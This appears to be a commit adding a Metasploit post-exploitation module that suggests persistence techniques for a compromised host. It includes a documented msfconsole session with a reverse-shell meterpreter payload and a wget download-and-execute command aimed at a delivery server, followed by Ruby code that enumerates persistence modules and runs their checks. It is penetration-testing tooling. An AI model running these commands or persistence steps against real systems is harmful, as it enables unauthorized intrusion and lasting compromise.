persistence suggester
This commit is contained in:
@@ -0,0 +1,177 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module suggests persistence modules that can be used.
|
||||
The modules are suggested based on the architecture and platform
|
||||
that the user has a shell opened as well as the available exploits
|
||||
in meterpreter.
|
||||
It's important to note that not all modules will be checked.
|
||||
Exploits are chosen based on these conditions: session type,
|
||||
platform, architecture, and required default options.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a shell/meterpreter on a box
|
||||
3. Do: `use post/multi/recon/persistence_suggester`
|
||||
4. Do: `set session #`
|
||||
5. Do: `run`
|
||||
6. You should get information about which persistence modules will work.
|
||||
|
||||
## Options
|
||||
|
||||
### ValidateArch
|
||||
|
||||
This option lets us toggle whether or not a mismatch in session and module architecture should be validated or ignored.
|
||||
|
||||
### ValidatePlatform
|
||||
|
||||
This option lets us toggle whether or not a mismatch in session and module platform should be validated or ignored.
|
||||
|
||||
### ValidateMeterpreterCommands
|
||||
|
||||
This option lets us toggle whether or not Meterpreter commands that are missing from the current Meterpreter implementation should be validated or ignored.
|
||||
|
||||
### Colors
|
||||
|
||||
Similar to the option used for `HttpTrace`. This lets us change the colors used to show valid, invalid and ignored options or incompatibilities. Unsetting this option results in no colored output.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 24.04 User Shell
|
||||
|
||||
#### User Shell
|
||||
|
||||
```
|
||||
└─$ ./msfconsole -q
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
|
||||
srvport => 8082
|
||||
resource (/root/.msf4/msfconsole.rc)> set uripath l
|
||||
uripath => l
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4446
|
||||
lport => 4446
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4446
|
||||
[*] Using URL: http://1.1.1.1:8082/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO fTSGK2Dy --no-check-certificate http://1.1.1.1:8082/l; chmod +x fTSGK2Dy; ./fTSGK2Dy& disown
|
||||
msf exploit(multi/script/web_delivery) >
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:34530) at 2025-09-23 16:35:57 -0400
|
||||
|
||||
msf exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 24.04 (Linux 6.8.0-31-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: ubuntu
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
#### Persistence Suggester
|
||||
|
||||
```
|
||||
msf exploit(multi/script/web_delivery) > use post/multi/recon/persistence_suggester
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf post(multi/recon/persistence_suggester) > set session 1
|
||||
session => 1
|
||||
msf post(multi/recon/persistence_suggester) > exploit
|
||||
[*] 2.2.2.2 - Collecting persistence modules for x64/linux...
|
||||
[*] 2.2.2.2 - The following 15 exploit checks are being tried:
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/autostart
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/bash_profile
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/docker_image
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/init_openrc
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/init_systemd
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/motd
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/rc_local
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager
|
||||
[*] 2.2.2.2 - exploit/multi/persistence/at
|
||||
[*] 2.2.2.2 - exploit/multi/persistence/cron
|
||||
[*] 2.2.2.2 - exploit/multi/persistence/joplin_plugin
|
||||
[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin
|
||||
[*] 2.2.2.2 - exploit/windows/persistence/image_exec_options
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager: The target is not exploitable. /etc/apt/apt.conf.d/ not writable
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/autostart: The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment
|
||||
[+] 2.2.2.2 - exploit/linux/persistence/bash_profile: The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/docker_image: The target is not exploitable. docker is required
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/init_openrc: The target is not exploitable. /etc/init.d/ isnt writable
|
||||
[+] 2.2.2.2 - exploit/linux/persistence/init_systemd: The target appears to be vulnerable. /tmp/ is writable and system is systemd based
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin: The target is not exploitable. Kate not found
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/motd: The target is not exploitable. /etc/update-motd.d/ is not writable
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/rc_local: The target is not exploitable. /etc/ isnt writable
|
||||
[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager: The target is not exploitable. /usr/local/bin/ not writable
|
||||
[*] 2.2.2.2 - exploit/multi/persistence/at: The target is not exploitable. does not exist
|
||||
[+] 2.2.2.2 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
|
||||
[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin: The target is not exploitable. No vaults found
|
||||
|
||||
[*] 2.2.2.2 - Valid modules for session 1:
|
||||
============================
|
||||
|
||||
# Name Potentially Vulnerable? Check Result
|
||||
- ---- ----------------------- ------------
|
||||
1 exploit/linux/persistence/bash_profile Yes The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
|
||||
2 exploit/linux/persistence/init_systemd Yes The target appears to be vulnerable. /tmp/ is writable and system is systemd based
|
||||
3 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
|
||||
4 exploit/linux/persistence/apt_package_manager No The target is not exploitable. /etc/apt/apt.conf.d/ not writable
|
||||
5 exploit/linux/persistence/autostart No The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment
|
||||
6 exploit/linux/persistence/docker_image No The target is not exploitable. docker is required
|
||||
7 exploit/linux/persistence/init_openrc No The target is not exploitable. /etc/init.d/ isnt writable
|
||||
8 exploit/linux/persistence/kate_plugin No The target is not exploitable. Kate not found
|
||||
9 exploit/linux/persistence/motd No The target is not exploitable. /etc/update-motd.d/ is not writable
|
||||
10 exploit/linux/persistence/rc_local No The target is not exploitable. /etc/ isnt writable
|
||||
11 exploit/linux/persistence/yum_package_manager No The target is not exploitable. /usr/local/bin/ not writable
|
||||
12 exploit/multi/persistence/at No The target is not exploitable. does not exist
|
||||
13 exploit/multi/persistence/obsidian_plugin No The target is not exploitable. No vaults found
|
||||
|
||||
|
||||
[*] 2.2.2.2 - Current Session Info:
|
||||
[*] 2.2.2.2 - Session Type: meterpreter
|
||||
[*] 2.2.2.2 - Architecture: x64
|
||||
[*] 2.2.2.2 - Platform: linux
|
||||
[*] 2.2.2.2 - Incompatible modules for session 1:
|
||||
===================================
|
||||
|
||||
# Name Reasons Platform Architecture Session Type
|
||||
- ---- ------- -------- ------------ ------------
|
||||
1 exploit/multi/persistence/joplin_plugin Not Compatible (platform) Unix cmd meterpreter, shell
|
||||
2 exploit/windows/persistence/image_exec_options Missing required module options (IMAGE_FILE). Not Compatible (platform) Windows No defined architectures meterpreter
|
||||
|
||||
[*] Post module execution completed
|
||||
msf post(multi/recon/persistence_suggester) > notes
|
||||
|
||||
Notes
|
||||
=====
|
||||
|
||||
Time Host Service Port Protocol Type Data
|
||||
---- ---- ------- ---- -------- ---- ----
|
||||
2025-09-23 20:29:52 UTC 2.2.2.2 persistence.suggested_module {"exploit/linux/persistence/bash_profile"=>"The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc",
|
||||
"exploit/linux/persistence/init_systemd"=>"The target appears to be vulnerable. /tmp/ is writable and system is systemd based",
|
||||
"exploit/multi/persistence/cron"=>"The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found"}
|
||||
2025-09-23 20:35:56 UTC 2.2.2.2 host.os.session_fingerprint {:name=>"2.2.2.2", :os=>"Ubuntu 24.04 (Linux 6.8.0-31-generic)", :arch=>"x64"}
|
||||
```
|
||||
@@ -0,0 +1,424 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Persistence Exploit Suggester',
|
||||
'Description' => %q{
|
||||
This module suggests persistence modules that can be used.
|
||||
The modules are suggested based on the architecture and platform
|
||||
that the user has a shell opened as well as the available exploits
|
||||
in meterpreter.
|
||||
It's important to note that not all modules will be checked.
|
||||
Exploits are chosen based on these conditions: session type,
|
||||
platform, architecture, and required default options.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'h00die' ],
|
||||
'Platform' => all_platforms,
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options [
|
||||
Msf::OptInt.new('SESSION', [ true, 'The session to run this module on' ]),
|
||||
Msf::OptBool.new('SHOWDESCRIPTION', [true, 'Displays a detailed description for the available exploits', false])
|
||||
]
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
# most linux persistence modules are arch-cmd but for payload purposes only
|
||||
# but usually we end up with a meterpreter session, thus making these invalid
|
||||
# so disable this check by default
|
||||
Msf::OptBool.new('ValidateArch', [true, 'Validate architecture', false]),
|
||||
Msf::OptBool.new('ValidatePlatform', [true, 'Validate platform', true]),
|
||||
Msf::OptBool.new('ValidateMeterpreterCommands', [true, 'Validate Meterpreter commands', false]),
|
||||
Msf::OptString.new('Colors', [false, 'Valid, Invalid and Ignored colors for module checks (unset to disable)', 'grn/red/blu'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def all_platforms
|
||||
Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase }
|
||||
end
|
||||
|
||||
def session_arch
|
||||
# Prefer calling native arch when available, as most LPEs will require this (e.g. x86, x64) as opposed to Java/Python Meterpreter's values (e.g. Java, Python)
|
||||
session.respond_to?(:native_arch) ? session.native_arch : session.arch
|
||||
end
|
||||
|
||||
def is_module_arch?(mod)
|
||||
mod_arch = mod.target.arch || mod.arch
|
||||
mod_arch.include?(session_arch)
|
||||
rescue StandardError => e
|
||||
print_error "Failed to check module arch for #{mod.fullname} => #{e}"
|
||||
end
|
||||
|
||||
def is_module_wanted?(mod)
|
||||
mod[:result][:incompatibility_reasons].empty?
|
||||
end
|
||||
|
||||
def is_session_type?(mod)
|
||||
# There are some modules that do not define any compatible session types.
|
||||
# We could assume that means the module can run on all session types,
|
||||
# Or we could consider that as incorrect module metadata.
|
||||
mod.session_types.include?(session.type)
|
||||
end
|
||||
|
||||
def is_module_platform?(mod)
|
||||
platform_obj = Msf::Module::Platform.find_platform session.platform
|
||||
return false if mod.target.nil?
|
||||
|
||||
module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms
|
||||
module_platforms.include? platform_obj
|
||||
rescue ArgumentError => e
|
||||
# When not found, find_platform raises an ArgumentError
|
||||
elog('Could not find a platform', error: e)
|
||||
return false
|
||||
end
|
||||
|
||||
def has_required_module_options?(mod)
|
||||
get_all_missing_module_options(mod).empty?
|
||||
end
|
||||
|
||||
def get_all_missing_module_options(mod)
|
||||
missing_options = []
|
||||
mod.options.each_pair do |option_name, option|
|
||||
missing_options << option_name if option.required && option.default.nil? && mod.datastore[option_name].blank?
|
||||
end
|
||||
missing_options
|
||||
end
|
||||
|
||||
def valid_incompatibility_reasons(mod, verify_reasons)
|
||||
# As we can potentially ignore some `reasons` (e.g. accepting arch values which are, on paper, not compatible),
|
||||
# this keeps track of valid reasons why we will not consider the module that we are evaluating to be valid.
|
||||
valid_reasons = []
|
||||
valid_reasons << "Missing required module options (#{get_all_missing_module_options(mod).join('. ')})" unless verify_reasons[:has_required_module_options]
|
||||
|
||||
incompatible_opts = []
|
||||
incompatible_opts << 'architecture' unless verify_reasons[:is_module_arch]
|
||||
incompatible_opts << 'platform' unless verify_reasons[:is_module_platform]
|
||||
incompatible_opts << 'session type' unless verify_reasons[:is_session_type]
|
||||
valid_reasons << "Not Compatible (#{incompatible_opts.join(', ')})" if incompatible_opts.any?
|
||||
|
||||
valid_reasons << 'Missing/unloadable Meterpreter commands' if verify_reasons[:missing_meterpreter_commands].any?
|
||||
valid_reasons
|
||||
end
|
||||
|
||||
def set_module_options(mod)
|
||||
ignore_list = ['ACTION', 'TARGET'].freeze
|
||||
datastore.each_pair do |k, v|
|
||||
mod.datastore[k] = v unless ignore_list.include?(k.upcase)
|
||||
end
|
||||
if !mod.datastore['SESSION'] && session.present?
|
||||
mod.datastore['SESSION'] = session.sid
|
||||
end
|
||||
end
|
||||
|
||||
def set_module_target(mod)
|
||||
session_platform = Msf::Module::Platform.find_platform(session.platform)
|
||||
target_index = mod.targets.find_index do |target|
|
||||
# If the target doesn't define its own compatible platforms or architectures, default to the parent (module) values.
|
||||
target_platforms = target.platform&.platforms || mod.platform.platforms
|
||||
target_architectures = target.arch || mod.arch
|
||||
|
||||
target_platforms.include?(session_platform) && target_architectures.include?(session_arch)
|
||||
end
|
||||
mod.datastore['Target'] = target_index if target_index
|
||||
end
|
||||
|
||||
def setup
|
||||
return unless session
|
||||
|
||||
print_status "Collecting persistence modules for #{session.session_type}..."
|
||||
|
||||
setup_validation_options
|
||||
setup_color_options
|
||||
|
||||
# Collects persistence modules into an array
|
||||
@persistence_modules = []
|
||||
exploit_refnames = framework.exploits.module_refnames
|
||||
exploit_refnames.each_with_index do |name, index|
|
||||
print "%bld%blu[*]%clr Collecting exploit #{index + 1} / #{exploit_refnames.count}\r"
|
||||
next unless name.include? '/persistence/'
|
||||
|
||||
mod = framework.exploits.create name
|
||||
next unless mod
|
||||
|
||||
set_module_options mod
|
||||
set_module_target mod
|
||||
verify_result = verify_mod(mod)
|
||||
@persistence_modules << { module: mod, result: verify_result } if verify_result[:has_check]
|
||||
end
|
||||
end
|
||||
|
||||
def verify_mod(mod)
|
||||
return { has_check: false } unless mod.is_a?(Msf::Exploit::Local) && mod.has_check?
|
||||
|
||||
result = {
|
||||
has_check: true,
|
||||
is_module_platform: (@validate_platform ? is_module_platform?(mod) : true),
|
||||
is_module_arch: (@validate_arch ? is_module_arch?(mod) : true),
|
||||
has_required_module_options: has_required_module_options?(mod),
|
||||
missing_meterpreter_commands: (@validate_meterpreter_commands && session.type == 'meterpreter') ? meterpreter_session_incompatibility_reasons(session) : [],
|
||||
is_session_type: is_session_type?(mod)
|
||||
}
|
||||
result[:incompatibility_reasons] = valid_incompatibility_reasons(mod, result)
|
||||
result
|
||||
end
|
||||
|
||||
def setup_validation_options
|
||||
@validate_arch = datastore['ValidateArch']
|
||||
@validate_platform = datastore['ValidatePlatform']
|
||||
@validate_meterpreter_commands = datastore['ValidateMeterpreterCommands']
|
||||
end
|
||||
|
||||
def setup_color_options
|
||||
@valid_color, @invalid_color, @ignored_color =
|
||||
(datastore['Colors'] || '').split('/')
|
||||
|
||||
@valid_color = "%#{@valid_color}" unless @valid_color.blank?
|
||||
@invalid_color = "%#{@invalid_color}" unless @invalid_color.blank?
|
||||
@ignored_color = "%#{@ignored_color}" unless @ignored_color.blank?
|
||||
end
|
||||
|
||||
def show_found_exploits
|
||||
unless datastore['VERBOSE']
|
||||
print_status "#{@persistence_modules.length} exploit checks are being tried..."
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status "The following #{@persistence_modules.length} exploit checks are being tried:"
|
||||
@persistence_modules.each do |x|
|
||||
vprint_status x[:module].fullname
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
runnable_exploits = @persistence_modules.select { |mod| is_module_wanted?(mod) }
|
||||
if runnable_exploits.empty?
|
||||
print_error 'No suggestions available.'
|
||||
vprint_line
|
||||
vprint_session_info
|
||||
vprint_status unwanted_modules_table(@persistence_modules.reject { |mod| is_module_wanted?(mod) })
|
||||
return
|
||||
end
|
||||
|
||||
show_found_exploits
|
||||
results = runnable_exploits.map.with_index do |mod, index|
|
||||
print "%bld%blu[*]%clr Running check method for exploit #{index + 1} / #{runnable_exploits.count}\r"
|
||||
begin
|
||||
checkcode = mod[:module].check
|
||||
rescue StandardError => e
|
||||
elog("#Local Persistence Suggester failed with: #{e.class} when using #{mod[:module].shortname}", error: e)
|
||||
vprint_error "Check with module #{mod[:module].fullname} failed with error #{e.class}"
|
||||
next { module: mod[:module], errors: ['The check raised an exception.'] }
|
||||
end
|
||||
|
||||
if checkcode.nil?
|
||||
vprint_error "Check failed with #{mod[:module].fullname} for unknown reasons"
|
||||
next { module: mod[:module], errors: ['The check failed for unknown reasons.'] }
|
||||
end
|
||||
|
||||
# See def is_check_interesting?
|
||||
unless is_check_interesting? checkcode
|
||||
vprint_status "#{mod[:module].fullname}: #{checkcode.message}"
|
||||
next { module: mod[:module], errors: [checkcode.message] }
|
||||
end
|
||||
|
||||
# Prints the full name and the checkcode message for the exploit
|
||||
print_good "#{mod[:module].fullname}: #{checkcode.message}"
|
||||
|
||||
# If the datastore option is true, a detailed description will show
|
||||
if datastore['SHOWDESCRIPTION']
|
||||
# Formatting for the description text
|
||||
Rex::Text.wordwrap(Rex::Text.compress(mod[:module].description), 2, 70).split(/\n/).each do |line|
|
||||
print_line line
|
||||
end
|
||||
end
|
||||
|
||||
next { module: mod[:module], checkcode: checkcode.message }
|
||||
end
|
||||
|
||||
print_line
|
||||
print_status valid_modules_table(results)
|
||||
|
||||
vprint_line
|
||||
vprint_session_info
|
||||
vprint_status unwanted_modules_table(@persistence_modules.reject { |mod| is_module_wanted?(mod) })
|
||||
|
||||
report_data = {}
|
||||
results.each do |result|
|
||||
report_data[result[:module].fullname] = result[:checkcode] if result[:checkcode]
|
||||
end
|
||||
|
||||
report_note({
|
||||
host: session.session_host,
|
||||
type: 'persistence.suggested_module',
|
||||
data: report_data
|
||||
})
|
||||
end
|
||||
|
||||
def valid_modules_table(results)
|
||||
name_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new
|
||||
check_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new
|
||||
|
||||
# Split all the results by their checkcode.
|
||||
# We want the modules that returned a checkcode to be at the top.
|
||||
checkcode_rows, without_checkcode_rows = results.partition { |result| result[:checkcode] }
|
||||
rows = (checkcode_rows + without_checkcode_rows).map.with_index do |result, index|
|
||||
color = result[:checkcode] ? @valid_color : @invalid_color
|
||||
check_res = result.fetch(:checkcode) { result[:errors].join('. ') }
|
||||
name_styler.merge!({ result[:module].fullname => color })
|
||||
check_styler.merge!({ check_res => color })
|
||||
|
||||
[
|
||||
index + 1,
|
||||
result[:module].fullname,
|
||||
result[:checkcode] ? 'Yes' : 'No',
|
||||
check_res
|
||||
]
|
||||
end
|
||||
|
||||
Rex::Text::Table.new(
|
||||
'Header' => "Valid modules for session #{session.sid}:",
|
||||
'Indent' => 1,
|
||||
'Columns' => [ '#', 'Name', 'Potentially Vulnerable?', 'Check Result' ],
|
||||
'SortIndex' => -1,
|
||||
'WordWrap' => false, # Don't wordwrap as it messes up coloured output when it is broken up into more than one line
|
||||
'ColProps' => {
|
||||
'Name' => {
|
||||
'Stylers' => [name_styler]
|
||||
},
|
||||
'Potentially Vulnerable?' => {
|
||||
'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new({ 'Yes' => @valid_color, 'No' => @invalid_color })]
|
||||
},
|
||||
'Check Result' => {
|
||||
'Stylers' => [check_styler]
|
||||
}
|
||||
},
|
||||
'Rows' => rows
|
||||
)
|
||||
end
|
||||
|
||||
def unwanted_modules_table(unwanted_modules)
|
||||
arch_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new
|
||||
platform_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new
|
||||
session_type_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new
|
||||
|
||||
rows = unwanted_modules.map.with_index do |mod, index|
|
||||
begin
|
||||
platforms = mod[:module].target.platform&.platforms&.any? ? mod[:module].target.platform.platforms : mod[:module].platform.platforms
|
||||
rescue NoMethodError
|
||||
platforms = nil
|
||||
end
|
||||
platforms ||= []
|
||||
begin
|
||||
arch = mod[:module].target.arch&.any? ? mod[:module].target.arch : mod[:module].arch
|
||||
rescue NoMethodError
|
||||
arch = nil
|
||||
end
|
||||
arch ||= []
|
||||
|
||||
arch.each do |a|
|
||||
if a != session_arch
|
||||
if @validate_arch
|
||||
color = @invalid_color
|
||||
else
|
||||
color = @ignored_color
|
||||
end
|
||||
else
|
||||
color = @valid_color
|
||||
end
|
||||
|
||||
arch_styler.merge!({ a.to_s => color })
|
||||
end
|
||||
|
||||
platforms.each do |module_platform|
|
||||
if module_platform != ::Msf::Module::Platform.find_platform(session.platform)
|
||||
if @validate_platform
|
||||
color = @invalid_color
|
||||
else
|
||||
color = @ignored_color
|
||||
end
|
||||
else
|
||||
color = @valid_color
|
||||
end
|
||||
|
||||
platform_styler.merge!({ module_platform.realname => color })
|
||||
end
|
||||
|
||||
mod[:module].session_types.each do |session_type|
|
||||
color = session_type == session.type ? @valid_color : @invalid_color
|
||||
session_type_styler.merge!(session_type.to_s => color)
|
||||
end
|
||||
|
||||
[
|
||||
index + 1,
|
||||
mod[:module].fullname,
|
||||
mod[:result][:incompatibility_reasons].join('. '),
|
||||
platforms.any? ? platforms.map(&:realname).sort.join(', ') : 'No defined platforms',
|
||||
arch.any? ? arch.sort.join(', ') : 'No defined architectures',
|
||||
mod[:module].session_types.any? ? mod[:module].session_types.sort.join(', ') : 'No defined session types'
|
||||
]
|
||||
end
|
||||
|
||||
Rex::Text::Table.new(
|
||||
'Header' => "Incompatible modules for session #{session.sid}:",
|
||||
'Indent' => 1,
|
||||
'Columns' => [ '#', 'Name', 'Reasons', 'Platform', 'Architecture', 'Session Type' ],
|
||||
'WordWrap' => false,
|
||||
'ColProps' => {
|
||||
'Architecture' => {
|
||||
'Stylers' => [arch_styler]
|
||||
},
|
||||
'Platform' => {
|
||||
'Stylers' => [platform_styler]
|
||||
},
|
||||
'Session Type' => {
|
||||
'Stylers' => [session_type_styler]
|
||||
}
|
||||
},
|
||||
'Rows' => rows
|
||||
)
|
||||
end
|
||||
|
||||
def vprint_session_info
|
||||
vprint_status 'Current Session Info:'
|
||||
vprint_status " Session Type: #{session.type}"
|
||||
vprint_status " Architecture: #{session_arch}"
|
||||
vprint_status " Platform: #{session.platform}"
|
||||
end
|
||||
|
||||
def is_check_interesting?(checkcode)
|
||||
[
|
||||
Msf::Exploit::CheckCode::Vulnerable,
|
||||
Msf::Exploit::CheckCode::Appears,
|
||||
Msf::Exploit::CheckCode::Detected
|
||||
].include? checkcode
|
||||
end
|
||||
|
||||
def print_status(msg = '')
|
||||
super(session ? "#{session.session_host} - #{msg}" : msg)
|
||||
end
|
||||
|
||||
def print_good(msg = '')
|
||||
super(session ? "#{session.session_host} - #{msg}" : msg)
|
||||
end
|
||||
|
||||
def print_error(msg = '')
|
||||
super(session ? "#{session.session_host} - #{msg}" : msg)
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user